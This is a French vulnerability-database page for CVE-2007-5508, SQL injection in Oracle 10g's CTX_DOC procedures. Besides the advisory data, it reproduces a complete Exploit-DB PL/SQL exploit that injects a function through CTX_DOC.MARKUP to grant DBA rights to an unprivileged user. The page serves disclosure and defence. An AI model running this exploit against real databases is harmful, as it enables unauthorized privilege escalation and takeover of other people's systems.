CVE-2007-5508 : Détail

CVE-2007-5508

SQL Injection
A03-Injection
2.99%V3
Network
2007-10-17
21h00 +00:00
2018-10-15
18h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Multiple SQL injection vulnerabilities in the CTXSYS Intermedia application for the Oracle Text component (CTX_DOC) in Oracle Database 10.1.0.5 and 10.2.0.3 allow remote authenticated users to execute arbitrary SQL commands via the (1) THEMES, (2) GIST, (3) TOKENS, (4) FILTER, (5) HIGHLIGHT, and (6) MARKUP procedures, aka DB03. NOTE: remote unauthenticated attack vectors exist when CTXSYS is used with oracle Application Server.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 4564

Date de publication : 2007-10-22 22h00 +00:00
Auteur : sh2kerr
EDB Vérifié : Yes

/******************************************************************/ /******* Oracle 10g CTX_DOC.MARKUP SQL Injection Exploit **********/ /******************************************************************/ /************ sploit grant DBA to unprivileged user ***************/ /******************************************************************/ /****************** BY Sh2kerR (Digital Security) ***************/ /******************************************************************/ /***************** tested on oracle 10.1.0.2.0 *******************/ /******************************************************************/ /******************************************************************/ /* Date of Public EXPLOIT: October 23, 2007 */ /* Written by: Alexandr "Sh2kerr" Polyakov */ /* email: [email protected] */ /* site: http://www.dsec.ru */ /******************************************************************/ /* Original Advisory by: */ /* David Litchfield [ [email protected] ] */ /* Reported: 6 June 2005 */ /* Date of Public Advisory: October 17, 2007 */ /* Advisory number: #NISR17102007A */ /* */ /******************************************************************/ select * from user_role_privs; CREATE OR REPLACE FUNCTION HACKIT return varchar2 authid current_user as pragma autonomous_transaction; BEGIN EXECUTE IMMEDIATE 'grant dba to scott'; COMMIT; RETURN ''; END; / set serveroutput on create table mark_tab (id number primary key, text varchar2(80) ); insert into mark_tab values ('1', 'All your bases are belong to US'); create index mark_tab_idx on mark_tab(text) indextype is ctxsys.context parameters ('filter ctxsys.null_filter'); SET SERVEROUTPUT ON; DECLARE mklob CLOB; amt NUMBER := 40; line VARCHAR2(80); BEGIN CTX_DOC.MARKUP('mark_tab_idx','1',''||scott.HACKIT()||'', mklob); DBMS_LOB.READ(mklob, amt, 1, line); DBMS_OUTPUT.PUT_LINE('QWRvcmUuVS5NeS5TdGFy'||line); DBMS_LOB.FREETEMPORARY(mklob); END; / select * from user_role_privs; /******************************************************************/ /*************************** SEE U LATER ;) ***********************/ /******************************************************************/ // milw0rm.com [2007-10-23]

Products Mentioned

Configuraton 0

Oracle>>Database_server >> Version 10.1.0.5

Oracle>>Database_server >> Version 10.2.0.3

Références

http://www.vupen.com/english/advisories/2007/3524
Tags : vdb-entry, x_refsource_VUPEN
http://www.vupen.com/english/advisories/2007/3626
Tags : vdb-entry, x_refsource_VUPEN
http://www.us-cert.gov/cas/techalerts/TA07-290A.html
Tags : third-party-advisory, x_refsource_CERT
http://marc.info/?l=bugtraq&m=119332677525918&w=2
Tags : vendor-advisory, x_refsource_HP
http://securityreason.com/securityalert/3242
Tags : third-party-advisory, x_refsource_SREASON
http://www.securityfocus.com/bid/26101
Tags : vdb-entry, x_refsource_BID
http://marc.info/?l=bugtraq&m=119332677525918&w=2
Tags : vendor-advisory, x_refsource_HP
http://www.securitytracker.com/id?1018823
Tags : vdb-entry, x_refsource_SECTRACK
http://secunia.com/advisories/27409
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/27251
Tags : third-party-advisory, x_refsource_SECUNIA